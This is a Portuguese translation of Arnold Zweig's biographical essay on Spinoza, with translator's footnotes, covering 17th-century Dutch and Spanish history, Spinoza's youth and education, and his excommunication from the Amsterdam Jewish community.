Spinoza – Por Arnold Zweig
Tradução e Notas de Gastão Pereira da Silva
Fonte: Livraria Martins Editora
O
AMBIENTE
1)
PIONEIRO DA HOLANDA
O
menino Baruch Spinoza nasceu em Amsterdã numa época em que o pensamento
livre se desenvolvia, arrojadamente, conquistando o mundo. Reinava
ainda, na Inglaterra, Carlos I Stuart, mas já batia às suas portas, para logo
depois assumir o poder, Oliver Cromwell. Os
onze anos de governo republicano que se seguem, são contemporâneos de Spinoza.
Essa
época assinala um acontecimento inaudito na história. Um povo processa o seu
próprio rei e depois o decapita, alegando inépcia do soberano nos destinos da
administração do país (1).
(1)
Realmente pela primeira vez na Inglaterra, um soberano, altamente influenciado
por dois ministros, Búkingiane, Strafford, um bispo, Land, e
pela sua própria mulher, Hcnriqueta de França, desencadeia violenta oposição
ao Parlamento, tornando-se depois déspota, numa ocasião em que a luta
religiosa, chefiada por Olivei-Cromwell, empolgou o povo inglês. Subindo este
ao governo, o rei foi, depois de haver sido considerado como traidor,
executado em Whitehall. Daí seguiu-se uma re» pública que teve vida breve, (N.
do T.).
Spinoza
é então um jovem talmudista, contando apenas dezessete anos de idade. A
República, entretanto, naufraga. Carlos II sobe ao trono inglês. Mas, o mundo
não esquecera o cadafalso de Whitehall. A
outra vizinha da Holanda, que determina o destino da época de Spinoza, a
França monárquica, está, no entanto, nas mãos de dois grandes arquitetos
políticos: o cardeal ministro Richelieu e o rei Luís XIV. É à
sombra dessas duas poderosas personalidades que se desenvolve a vida de
Spinoza. Porém, este não deixa, jamais, as fronteiras da sua pátria holandesa.
Primitivamente,
os Países-Baixos eram constituídos por dezessete províncias que faziam parte
integrante do império espanhol. A
indústria, o comércio e a navegação converteram aqueles países em um dinâmico
da Europa, geográfica e politicamente bem mais poderoso do que se poderia
esperar da sua própria extensão, incluídas ainda a atual Bélgica.
A
feroz intransigência com a qual o catolicismo intentava, também, reprimir, nos
Países-Baixos, os movimentos protestantes de liberdade de consciência, só hoje
se pode apreciar, devidamente, tendo-se em vista a intolerância selvagem do
racismo hitleriano, que persegue e se esforça em exterminar, na Alemanha e no
mundo, a liberdade de espírito e o direito a uma crítica democrática.
Tal
acontece com o racismo de hoje, o governo espanhol ficava insensível aos
prejuízos que aquele fato causava a si mesmo. No
último quartel do século XVI, as sete províncias setentrionais dos
Países-Baixos se desmembraram da Espanha para Utrech.
Compreendemos
agora, testemunhas que somos do heroísmo espanhol contra o terror, da
superioridade de forças e da ditadura, a luta que sustentaram os protestantes,
durante oitenta anos, pela sua independência sem desfalecimentos, diante do
sacrifício supremo das vítimas que tombavam para sempre.
Em
verdade, foi através dessa coragem moral e física, com as quais o povo holandês
soube manter a guerra contra aquela potência mundial, que a Holanda se vê hoje
independente e livre (2). Desde
então pôde prestar, à humanidade, serviços inestimáveis de valor histórico
universal, tornando-se o refúgio de todos os perseguidos; ou melhor, a pátria
do espírito progressista e que, por isso mesmo, aspira à liberdade (3).
(2)
Já não livre. Quando escrevemos estas linhas, a rainha Guilhermina parte para o
exílio com a fé inabalável em Deus de que a sua Pátria voltará em breve e ser
novamente livre. Caiu agora nas mãos dos alemães que tomaram essa nação
heróica, como vão tomando tantas outras, numa fúria cega de conquista, que nos
faz regredir, espiritualmente, aos tempos medievais (N. do T.).
(3)
Infelizmente não é mais assim pelos motivos ex-postos na nota anterior (N. do
T.).
Sua
poesia e sua música atingem hoje as culminâncias da glória e nenhuma outra pintura
subiu tão alto como as de Rembrandt, Franz Hals, Vermer Van Delfit. Os
holandeses, conquistadores do mar, caldeados por este selvagem elemento e por
sua tenacidade e amor à liberdade, vivem, no tempo de Guilherme de Orange e
João de Witt a sua grande época. Eles
criam a Companhia de Comércio das Índias Orientais. Desembarcam no continente
americano (4) e fundam a Colônia da Nova AMSTERDAM, que hoje se chama NOVA
YORK. Tomam
posse do extremo sul da África e constroem a cidade do Cabo. O holandês Tasman
contorna a Austrália e descobre a Nova Zelândia e a Tasmânia.
Os
grandes almirante Tromp e De Ruyter não só aniquilam a frota espanhola,
como também derrotam a inglesa.
"(4)
Lembremo-nos daquele sopro de espiritualidade e de beleza que nos trouxe
Maurício de Nassau ettdj» sua esplêndida comitiva de artistas que até hoje tem
provocado um dos debates mais belos entre os entendidos da nossa história (N.
do T.).
Os
Estados protestantes tão depressa são amigos da jovem República, como também
lhe declaram guerra, enquanto a revolução puritana dá ao reino inglês um novo
impulso, e um genial guerreiro, Oliver Cromwell, assume o poder na
Grã–Bretanha, fixando um termo, quanto à expansão da Holanda. Esta
retrocede ao segundo lugar na luta pela primazia marítima, pelo domínio dos
mares. Resta-lhe, entretanto, bastante espaço ainda para dar amplitude às
atividades e às riquezas de suas sete províncias.
A
paz de Westfalia, pondo fim à guerra dos trinta anos cria, ao mesmo tempo, a
Suíça livre e marca, em 1648, a derrota da Espanha. Mas,
ainda agora, quando passa a ser a inimiga da França de Luís XIV, a jovem
república encontra ainda a paz à sombra da Holanda. Batavos
e os naturais da Frísia, educados em Roma e instruídos espiritualmente pelo
cristianismo, incorporam-se para sempre à Reforma, à liberdade de pensamento e
à luta do saber humano contra os privilégios feudais e a tutela escolástica.
2)
A ADVERSÁRIA — ESPANHA
A
maior adversária dos novos tempos se encarnava no Estado totalitário dos
HABSBURGOS de Espanha e na Igreja espanhola. Sob
esse império, o sol nunca se escondeu de Espanha. O
afluxo de ouro, que lhe vinha das colônias americanas, duplicava sua importância
na indústria, na agricultura e, mesmo, na própria metrópole. A
sua infantaria, a melhor do mundo, permitia, no entanto, que se tivesse uma
impressão falsa do seu justo valor, pois não se levava em conta a força de movimento
que aí era representada, através de tendências e influências estrangeiras.
A
população da península ibérica era a mais misturada da Europa. Sobre
a base primitiva, construída pela raça antiga dos iberos, cujos traços atuais
são os vascos, instala-se após as guerras púnicas, a imigração militar dos
romanos depois de a Espanha ser arrancada das mãos dos fenícios que durante um
milênio, se incorporaram à grande civilização semítica da bacia do
Mediterrâneo.
Uma
fina camada da nobreza gótico-ocidental e vandálica desarticula os romanos.
Estes porém, como é sabido, através de seus impérios, são vencidos pelos
árabes e mouros unidos, que se achavam, por sua vez, misturados, há muito
tempo, com os judeus, desde quando vieram, reunidos, da Arábia, com numerosas
estirpes judaicas do norte da África.
Por
alguns séculos, a civilização da península ibérica tornou-se de novo, árabe e
judia, ou melhor, semítica, constituindo a mais elevada e avançada cultura da
Europa, através do amor à ciência e às artes, do seu vínculo à filosofia
antiga, à antigüidade clássica, à medicina e sua técnica, ao comércio e às
finanças.
A
transigência nos domínios da fé era exemplar, ampla, modelar. Assim se manteve,
até o fim, em todo o território mouro do país. Mas,
o Islam, recalcado por todos os lados, sobretudo pelo período mais conhecido
das Cruzadas, com o domínio das monarquias cristãs, estendeu-se, progressivamente,
do noroeste da península até o seu extremo meridional.
E,
quanto mais católica era a Europa, tanto mais intransigente e intolerante se
mostrava. Como a nobreza conquistadora precisava de um meio para despojar e
afastar do país, até mesmo estes que, judeus e árabes de nascimento, haviam já
abraçado o catolicismo, imaginou o princípio da pureza do sangue, servindo-se
para isso de um instrumento: o Tribunal da Santa Inquisição (5).
(5)
O autor, para defender o seu ponto de vista, faz algumas confusões no tocante à
história das instituições oíanholas. Assim, existe aí uma inexata interpretado
daquilo a que ele chama pureza, com as decisões do santo ofício e as
expulsões (N. do T.)
Por
esse meio, não foi fácil manter-se uma luta secular entre poderosos e humildes
e expulsar da pátria espanhola os judeus, os mouriscos e os cristãos novos (marranos)
(6).
Com
eles, abandonaram o país a liberdade espiritual, a vontade de pensar, a
atividade econômica, artes e ciências, ficando depois a nação que foi livre,
escravizada, durante séculos, à exploração econômica de italianos e alemães. Teve
isto lugar no fim do século XV, época em que o velho império cristão de
Bizâncio passava para as mãos dos turcos, e Cristóvão Colombo, financiado e
acompanhado de judeus, para não dizer, mesmo, que ele, Colombo, tinha
procedência judaica (veja-se Blasco Ibanez)
(7), arriscava-se, audaciosamente, pelo caminho ocidental das índias,
descobrindo, por acaso, a América.
(6) Designação injuriosa que se
dava aos mouros e judeus (N. do T.).
(7) O testemunho de um novelista
não deve servir de base para uma anotação histórica (N. do T.).
Alguns
milhares de famílias judias deixaram, então, cheios de preocupações dolorosas e
de melancolia, a península ibérica procurando, inquietas, outras grandes cidades
marítimas: Livorno, Salônica, Hamburgo e Amsterdam. Nestes
lugares, os recém-vindos formaram, desde logo, uma frente antiespanhola,
sobretudo nos países que já haviam pertencido à Espanha. Contudo,
sob o ponto de vista cultural, continuaram aristocratas e burgueses hispano-hebreus.
A
maneira de pensar já se achava determinada pelo mesmo desejo fervente de uma
estrita ortodoxia, que a Igreja Católica exaltara na Espanha. Temiam e odiavam
a dúvida, o cepticismo e a heresia, tanto quanto os seus antigos companheiros
cristãos. Entretanto
o espírito livre que arejava a Europa ameaçava dissolver a comunidade dos
judeus.
Mas,
como esta, no curso de três gerações, havia sofrido terrivelmente, por causa
da sua origem, revestia-se agora, como nunca, da fé judaica e do ardor
messiânico de Israel e por isso sentindo-se forte, acreditava que coisa alguma
neste mundo poderia diminuir ou afetar a sua força.
Destarte,
continuaram a luta que haviam começado na Espanha contra a inteligência
crítica e a investigação livre. Esta maneira de proceder era talvez a herança
que lhe ficara de uma época remota de liberdade e mesmo de felicidade. Dentre
as famílias, que foram, assim, transplantadas de Portugal e da Espanha para a
cidade de Amsterdam e que traziam no sangue a semente do pensamento, estava a
de D’Espinoza, ou de Espinoza, em cujos antepassados se
contam alguns soldados e alguns cardeais.
3)
O SOPRO DO ESPÍRITO
O
poder do espírito agitava, agora, poderosamente, a atmosfera européia. O
impulso vinha do humanismo, resultante daquele Renascimento italiano que havia
destruído o homem medieval para dar à luz, por assim dizer, o homem moderno. Navegantes
espanhóis, que deram a volta ao mundo, demonstravam a redondeza da terra,
contribuindo assim para colocar a imagem do Universo de Copérnico no lugar do
sistema de Ptolomeu.
O
escritor político florentino Niccoló Machiavelli já havia escrito, com um realismo
grandioso, a natureza do homem, do poder, do Estado e das forças sociais, apresentando
assim uma visão panorâmica da política, tal qual era no seu tempo. O
monge Martinho Lutero tinha estabelecido a soma de todos os descontentamentos
que, durante séculos, suscitara a Igreja, e à hierarquia opôs o princípio das
relações diretas com Deus, apoiados sobre a
Bíblia e sobre uma comunidade religiosa livre… até que a traiu em
favor de pequenos príncipes.
Mas,
apesar disso, nos países que haviam seguido Lutero e o seu protestan-lismo,
foi possível, desde então, a liberdade e a investigação espiritual, em lugar da
intolerância religiosa. Por
outro lado, os efeitos explosivos do pensamento sacudiram todos os edifícios
ideológicos, erigidos, segundo certos princípios autoritários.
O
antigo monge Giordano Bruno, que emigrara por amor à verdade e à investigação,
negava, por sua vez, qualquer autoridade, ensinando o caráter infinito e perene
do universo que anima um instinto universal e eterno da evolução, substituindo
a religião cristã por uma religião natural, procurando demonstrar, com isso,
que todas as religiões não passam de uma mistura de símbolos e idéias
supersticiosas.
Quando
em 1600, preso e sem defesa, se viu ante o dilema de negar as suas teorias e
ser salvo, preferiu confirmá-las e ser queimado vivo, em Roma, como um herético
ou um marrano, mas afirmando, através da sua morte voluntária, a
grandeza do pensamento humano. À
figura de Giordano Bruno pode-se opor a personalidade de Francisco Bacon, que
traiu a um amigo e praticou a venalidade, morrendo em 1626 como lorde-chanceler
mas que, apesar de tudo, prestou ao progresso do entendimento tantos serviços?
quanto os de Bruno.
Ao
introduzir a experimentação nos domínios das ciências naturais, alicerçando-a
sobre o conhecimento, só considerou legítimas as conclusões daí decorrentes.
Submetendo, por outro lado, as reflexões do homem à autocrítica, mostrou que ele
tem aí inúmeras causas de erros. A
Francisco Bacon e seu compatriota Hobbes, que morreu em 1677, seguiu-se
a geração dos pensadores e cientistas modernos, todos contemporâneos de
Spinoza. Assim,
em 1642 morria o italiano Galileu, em 1645 o holandês Grócio, em 1650 o francês
Descartes. Em
1643, nascia o inglês Newton, em 1646 o alemão Leibnitz. Dentre
eles, Galileu fundou a astronomia moderna, Grócio o direito dos povos,
Descartes a filosofia, Newton a física com todas as suas irradiações e Leibnitz
a matemática superior e a construção dum universo todo feito mônadas, cuja
última expressão aliás, poderia ser denominada hoje, com segurança, íons.
No
mesmo ano que Spinoza, em 1632, nascia o holandês Loenwenhoeek que foi o
primeiro a observar ao microscópio o mundo dos infinitamente pequenos,
preparando, com a sua descoberta, a biologia moderna. Assim,
no ponto de união de duas épocas, observamos o mundo em que viveu Spinoza,
apenas projetado da sombra de ontem para a luz de hoje, mas para a luz de um
hoje eterno.
II
O
PERSONAGEM
1)
OS ANOS DECISIVOS
Os
poetas sabem, e Sigismundo Freud confirmou de uma maneira grandiosa, o de que
Rudyard Kipling se utilizou como epígrafe de sua última obra: "Dá-me os
sete primeiros anos de uma criança e fica-te com o resto" (8).
O
jovem Baruch Spinoza cresceu no bairro judeu de Amsterdam, que deve a sua
fisionomia àquela gente chegada de Espanha e de Portugal.
(8)
Parece que aí existe um ligeiro equívoco, ou talvez, falta de clareza no
pensamento expresso por Arnold Zweig. Freud não teria confirmado a frase de
Rudyard Kipling, senão inversamente; Kipling é quera confirma o postulado da
psícanálíse. (N. do T.).
No
centro de umas ruas, nas quais habitam pessoas de olhos escuros e que falam uma
língua muito próxima do idioma espanhol, fica situada a casa de Miguel de Spinoza, comerciante conceituado e que desfruta de
excelentes relações no mundo que o cerca. É um
pai amável e carinhoso. Um homem de prestígio, A ele foram confiados, pela
comunidade, altos cargos honoríficos.
A
sua religião é liberal, ampla, sem nenhum constrangimento espiritual. Reconhece
desde logo os altos dotes do filho Baruch e por isso lhe faculta os melhores
professores, que ministram ao aluno um vasto ensinamento, colhido nas fontes do
judaísmo. Essa educação espiritual só se torna fecunda, porém, depois do
aperfeiçoamento da estrutura humana que a precede. A vontade de uma criança poderá
ser quebrada pelos golpes rígidos dos educadores?
Será
o mundo exterior atraente, ou hostil ao ser humano que o engrandece? Poderá
o filho se modelar tendo em vista a figura do pai, ou deve se rebelar contra
ele? (9)
(9) São perguntas que a psicanálise
responde hoje através da experiência de sua técnica e do conhecimento de suas
aplicações e que o autor pode explorar, porque se
mostra, em muitos pontos e aspectos desta introdução conhecedor, da
doutrina de Freud, revelando-se até mesmo muito simpático a ela. Não há,
pois, razão de fazer essas perguntas desde que recorra ao "complexo de
Édipo", com toda a sua constelação de reações (N. do T.).
Disto
é que vai depender a maneira pela qual Spinoza terá mais tarde de elaborar toda
a sua sabedoria. A criança vê que a morte ronda a pessoa
do progenitor, porque este, vendo desaparecer os entes a quem mais amava, a
quem estava também mais intimamente ligado, já não tem a mesma força. Estas pessoas
queridas, que viviam na sua. intimidade, eram as mulheres que ele havia perdido. Quando
o pequeno Baruch descobre o inundo exterior, encontra-se com uma irmã mais
velha, Rebeca, à qual se une com verdadeira ternura filial. A mãe de Rebeca
era a primeira mulher do pai de Spinoza e já havia morrido. Mas, Baruch, apesar
dos (lidados da irmã, tinha ainda a mãe viva. Cresce sob a proteção desta, mas
a perde, quando vai completar seis anos de idade.
Depois
de decorrido algum tempo, o pai se casa com a terceira mulher. Mas, Baruch não
precisa esperar para ver o desenlace daquela infelicidade paterna. A
tristeza de um homem, a quem a morte lhe leva as próprias companheiras e que
também tem de sobreviver aos próprios filhos, já se havia impregnado na alma,
profundamente. Quando
o pai morre, tem Baruch pouco mais de vinte anos, mas já estão no cemitério
quatro das suas irmãs.
A
íntima relação do menino Spinoza com sua mãe que, faz algum tempo, repousa, no
cemitério de Ouwerkerke, morta entre os mortos, e à qual pede o filho as
bênçãos maternas, como se ela estivesse viva, explica-se. Esta
ligação constante com sua mãe nós a deduzimos de um fato particular. Assim, no
momento em que se viu obrigado a deixar a casa paterna e também o seu bairro
judeu, Spinoza vai morar bem em frente ao cemitério de Ouwerkerke.
É
desse momento em diante que ele se desvia do mundo paterno. Dois
traços de caráter constituem os brasões, por assim dizer, do pai de Spinoza: a
religiosidade do judeu e o sentido do lucro, próprio ao negociante. Contra
essas duas tendências se rebela o filho, à sua maneira, reprimindo ambas, não
com ardor revolucionário, senão através de uma serenidade que se poderia dizer
feminina, resoluta.
Sente-se
cada vez mais em oposição ao mundo do judaísmo pela força do pensamento em seu
cérebro. O
mundo dos interesses comerciais e do lucro, não o empolga. Vive, durante toda a
sua existência às expensas de particulares, que lhe facultam os meios pecuniários
e de pensões recebidas do próprio governo do país. Mas,
apesar disso, consegue pequenas somas de dinheiro, polindo vidros de ótica, que
era, aliás, uma das suas ocupações prediletas.
Sabe-se
que Spinoza não deixava de prestar certa atenção ao lado econômico da
vida, porém sem nenhum resultado para ele. Quando
rapaz, foi cobrar uma conta que certa senhora contraíra com o pai. Pois
bem. Apesar de jovem, e de certas ironias, feitas no momento, pela devedora,
Spinoza conta o dinheiro recebido e nota a falta de dois ducados. Sabe-se
ainda que certa vez entrara também em conflito com um seu cunhado, por causa de
uma herança, valendo-se do seu direito e recebendo a parte testamentária que
lhe cabia (apenas uma cama e uma cortina). Não
lhe era simpático o cunhado, porque este perdera a mulher de um aborto. Ela se
chamava Míriam, a quem Spinoza, como irmão, dedicava muita amizade.
Esse
matrimônio, no entanto, constituíra para a mulher uma feliz união e o teria
sido ainda por muito tempo. Mas, em 1850, o médico I. P. Semmelweis descobre a
causa daquela "fatalidade" nas unhas sujas das parteiras e dos
parteiros que já entravam assim, com a morte, nos quartos das criaturas que iam
ser mães. Outra
experiência juvenil corta-lhe o caminho da bravata, do ataque revolucionário
da rebeldia, tão comuns na mocidade.
Tinha
sete anos apenas quando se cumpre na comunidade de Amsterdam o terri-vel
destino de Gabriel ou Uriel da Gosta, nobre neocristão português que não
conseguindo viver tranqüilo na casa paterna e cristã, em Lisboa, fugira com
sua mãe e irmãs para "voltar" ao judaísmo. E,
como a força do pensamento e da crítica não cessassem de atuar no seu
espirito, levando as suas dúvidas e incertezas, na procura da liberdade, até
mesmo dentro dos princípios do judaísmo, deu fim a própria vida com um tiro de
pistola, depois de haver recebido os 39 golpes que os açoites fazem vibrar na
carne dos penitentes, pecadores e arrependidos, e conforme o rito, depois de
deixar o corpo nos umbrais da sinagoga, para ser pisado pelos pés dos que quisessem
passar-lhe em cima, mas confirmando, por esse meio, todos os seus escritos e
todos os seus pensamentos.
Onde
estava o seu crime?
Ele
buscava a certeza de Deus, porém os judeus espanhóis eram tão rígidos e crentes
como os cristãos espanhóis… Na
Holanda se humanizaram. Spinoza se apercebeu disto um dia. Mas,
por outro lado, não deixou de adotar, como lema de todos os seus escritos, a
divisa "CAUTO" (sê previdente) debaixo de uma rosa, marcando,
assim, sub-rosa, o sinal do silêncio, quando escrevia.
2)
RESIGNAÇÕES E RENÚNCIAS
As
experiências domésticas de Spinoza foram completadas por outras, fora de casa.
Estas experiências teriam sido, talvez, contraditórias. Mas, o destino, que o
espreitava, reservou-lhe uma linha de conduta maravilhosa e de perfeita
unidade na sua prodigiosa inteligência, o que ele agora procura fora, a doutrina
e a ciência temporal, só poderá ser atingido através do conhecimento do latim.
Assim,
depois de um curto preparo, ministrado por um professor alemão, ele se torna
discípulo do melhor latinista da cidade, Franciskus van den Ende.
Este
homem é o seu pólo oposto. Católico de nascimento, frade na juventude, dotado
de uma alma impetuosa, passa da ordem dos agostinhos para a dos jesuítas que
pretendem com as armas da disciplina, voltar a conquistar a vida para o catolicismo,
impregnando-a de religiosidade.
Mas,
as tendências da época penetram profundamente no espírito de van den Ende e,
por isso, ele já não pode aceitar, tranqüilamente, o universo ideado pelos
jesuítas.
O
sentimento panteísta, a aspiração de uma alma para o mundo, o agita, e o transporta
de Leyden a Amsterdam, onde, com a sua numerosa família, se firma como,
professor de latim. Dos
jesuítas, lhe ficou o gosto pelo teatro. O que ele consegue fazer representar,
porém, não vai além das comédias de Terêncio, através das quais passa um sopro
de paganismo e de verdadeira antigüidade. Nada
de extraordinário haveria, se esse mestre de latim não conseguisse acli-mar-se
numa cidade religiosamente calvinista, quanto Amsterdam.
Já
idoso emigrou, então, para Paris, Ai instalou-se como médico, mas sem resultado.
A França de Luís XIV não pode dar a aplicação a nenhuma de suas faculdades. Eterno
rebelde, vè-se finalmente, envolvido, dois anos depois da morte do seu
discípulo Spinoza, numa rebelião da nobreza, acabando na forca. Na
casa do mestre, seus alunos descobriram, depois de haver aprendido a língua do
pensamento clássico e da erudição contemporânea, a ação de Giordano Bruno, a
influência de Hobbes e o conhecimento dos maiores pensadores do tempo, como René Descartes. Entretanto,
uma outra experiência, mais importante ainda, sofre o espirito de Spinoza. Ele,
agora, tenta conquistar o amor de uma mulher.
É
nesse tempo, muito jovem ainda, um homem alto, face amorenada, bem vestido,
risonho, mas tímido por natureza. Clara
Maria, a filha de van den Ende, franzina, mas dotada de certo vigor intelectual,
auxilia o pai, quando ele leciona. É
contudo uma menina de onze ou doze anos. Dá, porém, a impressão de uma sensível
maturidade espiritual. Mas
é preciso ser assim e também ser criança para iluminar a alma sombria de
Spinoza, que não tolera o mundo dos adultos,
Já
em idade avançada, informa um amigo, Spinoza fala dela com uma grande afeição e
a teria desposado, se Clara Maria não se mostrasse inclinada a gostar de um
outro condiscípulo mais amável do que ele. Este,
alemão de origem, fazendo-se médico, conformado, conhecedor do mundo, leva a
moça para a sua cidade natal, Hamburgo, subtraindo-a, desse modo, do convívio
de Spinoza. O
casamento, entretanto, não é feliz e o casal começa a viver em graves desavenças. Spinoza
retira agora da vida exterior uma grande parte das suas forças morais e
humanas. Espiritualiza-se! Segue por um outro caminho, por uma outra possibilidade,
por uma outra paixão. Contudo, o homem de carne e osso, que é Spinoza, há de se
manter sempre intacto e jovial.
Como
uma criança, diverte-se em prender aranhas entre os fios que elas tecem, ou
então em pegar moscas para jogá-las dentro da rede das aranhas. Prevalece-se
ainda do seu talento de desenhista para se retratar a si mesmo, semelhante a
Masaniello, traindo assim o sonho da sua imaginação, ou seja o de se evadir da
sua revolta secreta e do seu silêncio prudente para se arrojar na ação aberta e
apaixonada de Masaniello (10) que, embora humilde pescador, revoltou o povo de
sua pátria, Nápoles, contra o vice–rei espanhol, inimigo comum, sucumbindo,
por isso, tragicamente.
(10)
Mais conhecido pelo nome de Thomaz Aniello pescador em Amalfi, em 1623,
assassinado em 1647 (N. do T.).
Mais
tarde, quando Spinoza já havia trocado o seu prenome, Baruch, por um outro,
latino, Benedictus, e já se havia lambem acostumado a viver na miséria, passou
a se apresentar mal vestido, entre gente pobre, simples e sem pretensões, como
os seus míseros companheiros, fumando o seu cachimbo e conversando, de vez em
quando, para distrair o espírito, sempre retraído e voltado para o silêncio.
Reside
num quarto que apenas se distingue dos demais, porque nele existe uma porção
de livros. Uma
só vez tenta enfrentar o mundo exterior, protestando contra a barbárie e a
violência, assassina e desalmada. Isto
acontece quando ele já se encontra em Haia, no verão de 1672. Bandos
armados do partido de Orange assassinam os irmãos de Witt, sendo João, o irmão
mais velho, dignitário, patrício, amigo do espírito e das ciências, um dos
políticos mais famosos do mundo daquele tempo.
Para
exprimir o seu protesto, indignado contra o degolamento desse grande homem
inocente e bom, escreve Spinoza as palavras "ultimi barbaroram" (o
último em barbárie) numa folha de papel que pretende pregar na parede de um
muro da cidade, durante a noite, próximo ao local do crime. Alguém
o impede, porém, de levar a efeito aquele intento. E o filósofo chora,
abafando, assim, o seu arrebatamento. Spinoza
não sai mais à rua. Seu
aspecto é agora, marcadamente, o de um judeu aristocrata. Sua
figura é delgada, de membros delicados. A cabeça é ampla, a face é magra, o
nariz um pouco curvado, as sobrancelhas arqueadas, a boca rasgada num largo
traço, mas o lábio inferior é proeminente. A fronte é alta. Os olhos, uns
olhos muito negros e grandes, têm um brilho melancólico.
Em
geral, Spinoza é apresentado com os cabelos anelados, à maneira dos grandes
pregadores. O modo de vestir-se de preto, com um peito de camisa branca, parece
sublinhar em verdade, o seu aspecto eclesiástico. Mas
existe também um retrato da juventude que nos dá a impressão de um magnata da
Espanha, altivo e cheio de nobreza, de cabelos curtos e pequeno bigode,
semelhante a esse colar de barba dos marinheiros, que vai de uma orelha a
outra, deixando livres a parte superior do mento e das bochechas.
Infelizmente
a autenticidade do retrato é duvidosa. Contudo, representa a fisionomia de
alguém mais individualizado, que os retratos autênticos dos pregadores, com ps
seus cachos bem tratados. Por isso, a figura em apreço, pela sua singularidade,
deve corresponder melhor à origem de Spinoza e de sua obra.
No
caráter dos pregadores há a expressão daquilo que lhe é inerente: o dogmático,
bem como o traço teológico e uma certa secura no raciocínio, na abstração e na
prosa, que podem vir, contudo, dos intérpretes; porque, tal acontece com os
pregadores, eles escrevem unicamente em latim.
3)
RUPTURA COM A TRADIÇÃO
Todo
grande homem rompe, por vontade ou não, a corrente que o prendeu, enquanto foi
fraco e vulnerável. É como um segundo nascimento, necessário para lhe dar a
independência, a força, a coragem, a afirmação da própria personalidade. Em
alguns homens geniais, este segundo nascimento só é expresso quando eles
trocam de lugar. Assim, por exemplo Goethe, quando se muda de Francfort para
Weimar ou viaja de Weimar para a Itália, ou Bonaparte quando é enviado da
Córsega ao continente. Entre
muitos outros, este renascimento se processa à maneira das erupções. Em
Spinoza, o silencioso, o suave Spinoza, esse segundo nascimento é anunciado
pelas trombetas, pelo patético arder de negros círios, pela claridade dos
textos e do espírito do Velho Testamento.
Se
apenas existissem no mundo comunidades judaicas ortodoxas, esta predestinação
significaria, verdadeiramente, alguma coisa, ainda que só servisse para se
passar a vida cantando, com a liberdade dos pássaros, mas curtindo fome.
Em
torno da comunidade portuguesa de Amsterdã encontrava-se a cidade cristã, com a
sua fisionomia própria e tradicional e, um pouco distante desta, algumas
outras localidades nas quais as autoridades de Amsterdam não podiam intervir. Em
julho de 1656, dois anos depois da morte do pai, e um dia depois da declaração
da falência de Rembrandt, recai sobre Spinoza a excomunhão. Antes,
porém, procuram ouvir as suas opiniões sobre a existência de Deus e o que ele
pensa do caráter obrigatório do judaísmo ortodoxo.
Depois
querem informações a respeito das suas conversações com os rabinos, que lhe
eram, ou haviam sido afetos e como e porquê se considera judeu praticamente,
sem fé, por um soldo anual de mil gulden, da mesma forma com que os
judeus na Espanha haviam praticado também sem fé o cristianismo. É
somente após a ruína de sua casa paterna e de se esgotarem todos os seus
esforços que Spinoza rompe com aqueles princípios.
Mas,
apesar disso, se sente profundamente ligado à sua origem e à sua educação judaicas
e, assim, nunca teria voltado as costas ao judaísmo se essa comunidade, sempre
ameaçada, o deixasse pensar livremente e consentisse que ele, por sua conta e
risco, dirigisse a sua própria vida. Nunca
cessou, no entanto, de se interessar pelo idioma hebraico, indo até mesmo às
suas filigranas gramaticais, como se pode observar, aliás, na própria obra.
Destarte,
afirmam certos conhecedores da filosofia, que, parte do seu pensamento, só se
torna clara quando se convertem alguns vocábulos latinos em termos hebraicos,
de que procedem. Mas,
a significação do judaísmo está na observação de infinitas orações e preceitos
que regulam o dia, a semana e o ano e que um espírito independente e livre não
pode praticar, uma vez que tudo isto se lhe apresente vazio de sentido. Assim
também lhe é impossível tomar a sério um calendário do velho ano lunar semita e
fechar suas cartas no ano de 5420 da criação do mundo, porque este mundo já
existia antes disto, há vários milhões de anos. Contudo,
o universo espiritual do judaísmo tinha sua significação, tal como Spinoza o
percebia, árvore possante, cheia de seiva, cujas raízes se projetam ainda até
os tempos presentes, fora das escolas jesuíticas, da filosofia tomista, ou das
concepções canônicas, como um vegetal gigante
e sagrado da ciência antiga, que já floresceu, luxuriosamente, em Menfis e ou,
Siracusa e Atenas, Antióquia e Alexandria, Jerusalém e Pumbedita.
O
pensamento e o saber que aí se aprendem são antigos, a idéia do mundo é judaica
e os métodos de compreensão dialética procedem daquela grande época em que a
humanidade, aprendeu a deduzir logicamente, reconhecendo causas e efeitos como
princípio da investigação, em lugar dá analogia e da sinopse. No
mesmo plano, move-se o objeto do conhecimento. Os livros sagrados do Velho
Testamento são completados e interpretados pelo ensinamento oral e seu natural
prolongamento: os textos rabínicos.
Nisto
se reconhece a necessidade de se enriquecer o fundamento do judaísmo com a
filosofia contemporânea: afluências platônicas e aristotélicas são admitidas e
insertas na rede de canais talmúdica. Por
outro lado, o pensamento hispano-judeu não se privou jamais das fontes frescas
da sabedoria. Foi
com este saber e com esta formação que Spinoza resolveu olhar as coisas de
maneira imediata e iluminar os textos, inclusive os mais sagrados, com a luz da
razão, abrindo assim, um caminho que se some na essência de Deus e do mundo,
através das camadas espessas das opiniões. (11)
Quando
foi excomungado teve como companheiro João de Prado, que mereceu a mesma sorte
porque ofendeu a Deus, comparando-o. com a natureza. Aí está um pensamento
spinozista, expresso talvez com menor precaução, mas que nem por isso deixaria
de ser a coisa mais natural deste mundo, aprendida pelo jovem Spinoza da
própria antigüidade. (12)
(11)
Não seria melhor através de dialética? (N.do t.).
(12)
De fato, encontramos muitas outras fontes nas Spinoza sé inspirou.
Assim, nas idéias de Moisés de Córdova (identificação de Deus com o universo); nas de Ben Gerson (eternidade do
mundo); nas de Hasdai Cresças (matéria do universo corporificada em Deus); nas
de Mai mônides (imortalidade impessoal) etc, etc. Mas, é preciso notar que
tudo isto são fontes de inspiração — apenas — porque Spinoza, através da sua
intuição maravilhosa, é ele mesmo, original, sozinho. Contudo, por esses
motivos, não parece justa a explicação psicanalista que dá Arnold Zweig à idéia
da filosofia spinozista (aliança, de Deus com a Natureza) (N. do T.).
Permaneceu,
entretanto, sendo ele mesmo. É também um traço muito judaico, no seu
radicalismo, a maneira silenciosa e inexorável com que se desviou do judaísmo. Depois
de um golpe de adaga, ensaiado por um "vingador de Israel" e da
excomunhão lançada em sua ausência, Spinoza só procura agora o ambiente
formado por sábios cristãos e pelos heréticos holandeses chamados Rhijnsburger
ou Colegiantes, considerados com desconfiança pela Igreja oficial Calvinista,
mesmo antes de estar em condições de persegui-los.
4)
A VIDA TRANQÜILA DO CAMPO
A
história da dissidência cristã é tão antiga quanto a história da própria
Igreja. Por
outro lado, a oposição entre a Santa Madre Igreja e os dissidentes, sempre foi
violenta.Os
